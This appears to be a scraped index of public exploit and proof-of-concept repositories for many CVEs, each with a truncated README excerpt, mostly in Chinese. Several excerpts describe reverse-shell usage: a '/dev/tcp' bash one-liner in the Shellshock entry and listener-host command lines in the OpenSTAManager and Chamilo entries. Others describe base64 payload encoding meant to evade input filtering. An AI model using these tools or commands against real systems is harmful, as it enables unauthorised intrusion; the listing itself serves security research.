CVE-2026-104890

Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...

CVE-2017-9841

phpunit-shell ⭐ un sencillo script de python3 para explotar CVE-2017-9841. el exploit - CVE-2017-9841 ❗ script sencillo que explota una vulnerabilidad de ejecución remota de código encontrada en PHPUnit anterior a 4.8.28 y 5.x anterior a 5.6.3. realiza una petición POST al objetivo con comandos d...

CVE-2014-6271

Hellshocker 0.1.1 用于利用 Shellshock 漏洞的工具 厌倦了使用弱小的 shellshock 漏洞利用，或者只是用 "/bin/bash & /dev/tcp/IP/port 0&1" 这种方式进入服务器？ 是的，你需要上传并执行更复杂的东西到服务器，但 base64 编码一个巨大的文件几乎不可能，因为你的 HTTP 请求会被 Web 服务器拒绝。 有了这个工具，你的问题可能就解决了。它能够将你的有效载荷编码为 base64，并以（默认）128 字节的块发送到 Web 服务器，然后发送后，它会解码并执行。 "哇，"你说，"但是我不用 PHP，我需要 Java...

CVE-2018-6574

CVE-2018-6574 在 Golang 的 go get 命令中的远程命令执行。 CVE-2018-6574 此漏洞影响 Golang 的 go get 命令，并允许攻击者通过安装恶意库在系统上获得代码执行权限。此漏洞已在 Go 1.8.7、1.9.4 和 1.10rc2 中修复。 Golang 会构建原生扩展。这可用于向编译器传递额外标志以获得代码执行。例如，可以使用 CFLAGS。...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 自动化利用与检测 该 Python 程序是对 RCE SMBGhost 漏洞的封装。漏洞利用部分的所有荣誉归功于 chompie1337。扫描器的所有荣誉归功于 ioncodes。 我只是将这些功能自动化到一个程序中。在生成反向 shell 时，你需要考虑 Windows 目标的架构。 该利用 不稳定 ，请自行承担风险。有时第一次不成功，所以我加入了第二次重试。 如果你要放入自己的 shellcode，请注意 shellcode 的最大大小为 600 字节 。 已在 Windows 10 x64（Microsoft Windows 版本...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485：Jackson-databind 远程代码执行...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell 概念验证 使用方式： sudo python3 hehe.py -t -c 示例： ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | | | | | | \ \ | | | | | | | | | |...

ruby-RCE-CVE-2019-5420-

ruby 反序列化 （CVE-2019-5420） https://github.com/PenTestical/CVE-2019-5420 参考： 1 Ruby on Rails 命令执行漏洞payload实现过程 https://hackerone.com/reports/473888 Since ActiveSupport::MessageVerifier and ActiveSupport::MessageEncryptor use Marshal as the default serializer, I confirmed that RCE is possible by...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager 模块上传远程代码执行 通过模块更新端点的未验证ZIP上传实现经过身份验证的远程代码执行。 受影响版本: OpenSTAManager = 2.10.x 环境要求 pip install requests 使用方法 Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444 Interactive webshell python3...

CVE-2025-0282-Full-version

Storks：远程代码执行漏洞利用工具 概述 Storks 是一个基于 Python 的概念验证（PoC）工具，旨在演示特定网络设备中一个严重的远程代码执行（RCE）漏洞，编号为 CVE-2025-0282 。该漏洞可通过向特定端点发送精心构造的 POST 请求来利用。此工具仅用于教育和研究目的。 免责声明： 请注意，未经适当授权使用此工具是非法且不道德的。我们不对因滥用此工具造成的任何损害或行为负责。请负责任地使用，风险自负。 漏洞描述 /dana-na/auth/urldefault/welcome.cgi...

CVE-2025-24813-POC

CVE-2025-24813 Apache Tomcat RCE PoC CVE-2025-24813 的概念验证（PoC），这是 Apache Tomcat 中的一个远程代码执行 RCE 漏洞。 重要提示： 本 PoC 仅用于测试您自己的环境或教育目的。未经适当授权，使用本 PoC 攻击系统是被禁止的，并可能违法。本 PoC 的创建者和分发者对任何滥用或损害不承担责任。在测试您不拥有的环境之前，请始终获得明确的许可。 用法 python3 CVE-2025-24813.py --url 环境设置 测试Payload 代码中已经包含一个使用 ysoserial...

CVE-2023-4220

CVE-2023-4220 利用 Chamilo LMS 未经身份验证的大文件上传远程代码执行 用法 cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example: ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 Payload: 1 ==...

PoC-Funcional---CVE-2026-45247-Mirasvit-Full-Page-Cache-Warmer-RCE-

CVE-2026-45247 - Mirasvit Full Page Cache Warmer for Magento 2 - PHP 对象注入 → RCE -red 📋 描述 CVE-2026-45247 是适用于 Magento 2 和 Adobe Commerce 的 Mirasvit Full Page Cache Warmer 扩展中的一个严重 PHP 对象注入（PHP Object Injection） 漏洞。未经身份验证的攻击者可通过在 CacheWarmer cookie 中发送被篡改的 PHP 序列化对象来实现 远程代码执行（RCE） 。 该漏洞源于对 PHP 原生...

go-get-RCE

go-get-RCE 这是 CVE-2018-6574 的漏洞利用：go get 远程代码执行（RCE） 该漏洞影响 Golang 的 go get 命令，允许攻击者在安装其恶意库的系统上获得代码执行能力。这是利用域名仿冒（typosquatting）在开发者工作站和生产系统上获得代码执行能力的漏洞的一个典型示例。该漏洞已在 Go 1.8.7、1.9.4 和 1.10rc2 中修复。...

CVE-2014-1303

CVE-2014-1303 Linux PoC CVE-2014-1303 基于堆的WebKit缓冲区溢出 概念验证，针对Linux。 该仓库演示了Linux 上WebKit基于堆的缓冲区溢出漏洞CVE-2014-1303。 用于seccamp讲座。 注意： 原始漏洞利用是针对Mac OS X和PS4 PlayStation4编写的。 我已在Ubuntu 14.04上移植并测试了工作，WebKitGTK 2.1.2 用法 首先，你需要运行一个简单的web服务器， $ python server.py 然后 $ cd /path/to/webkitgtk2.1.2/ $...

CVE-2021-44967

CVE-2021-44967 Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Discovered by: Y1LD1R1M Exploit Author: D3Ext Vendor Homepage: https://www.limesurvey.org/ Software Link:...

CVE-2026-23744-poc

CVE-2026-23744 — mcpJam 远程代码执行（RCE）漏洞利用程序 一个针对 CVE-2026-23744 的 Python 3 概念验证（Proof-of-Concept）漏洞利用程序，该漏洞是影响 mcpJam v1.4.2 的任意命令执行漏洞。 该工具通过在传输前将命令透明地 Base64 编码来自动化载荷传递，有助于绕过严格的输入验证和字符过滤机制。载荷在目标系统上通过 /bin/bash 包装器进行解码并执行。 功能特性 自动 Base64 载荷编码 命令在传输前会被自动编码，在针对强制实施严格输入验证或字符限制的应用程序时，可提高可靠性。 灵活的命令执行...

CVE-2024-38472

在 Apache HTTP Server 的 Windows 版本中，为 SSRF 漏洞（CVE-2024-38472）创建一个远程代码执行（RCE）Metasploit 模块具有挑战性，因为 SSRF 本身并不能直接导致 RCE。然而，SSRF 通常可以作为实现 RCE 的一个步骤，特别是当你可以利用它与内部服务交互或触发次要漏洞时。 通过 SSRF 实现 RCE 的策略 要实现通过 SSRF 的 RCE，通常需要： 1. 一个存在特定漏洞的内部服务，该漏洞可通过 SSRF 利用。 2. 配置错误或额外的漏洞，允许执行任意代码。 在本示例中，假设我们可以触发一个内部服务，该服务接受...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 认证远程代码执行 CVE-2021-31630 这是一个现代 Python 3.13+ 兼容的概念验证漏洞利用程序，用于 CVE-2021-31630，该漏洞存在于 OpenPLC v3 中，允许认证用户上传包含恶意代码的自定义硬件层，从而导致在主机上远程执行代码（RCE）。 原始漏洞发现和报告由 Fellipe Oliveira 提供。 此重新实现和现代化版本使用 httpx、CLI 工具、日志记录和更安全的检测技术。 漏洞利用概述 漏洞：CVE-2021-31630 组件：OpenPLC v3 Web 服务器 影响：认证远程代码执行 RCE...

CVE-2024-23995

Beekeeper-Studio PoC 针对CVE-2024-23995漏洞的概念验证。 1.漏洞概述： 漏洞主题：通过XSS实现远程代码执行 影响版本：= Beekeeper-Studio-4.1.13 攻击类型：远程代码执行 攻击向量：为利用此漏洞，需在表列名中插入恶意脚本。当鼠标悬停在对应列（tabulator-header-contents）上时，预览（tabulator-popup-container）应被执行，从而允许利用发生。 预留CVE编号：CVE-2024-23995 2.漏洞成因： 概念验证（PoC） 步骤1）创建包含恶意脚本列名的数据库。...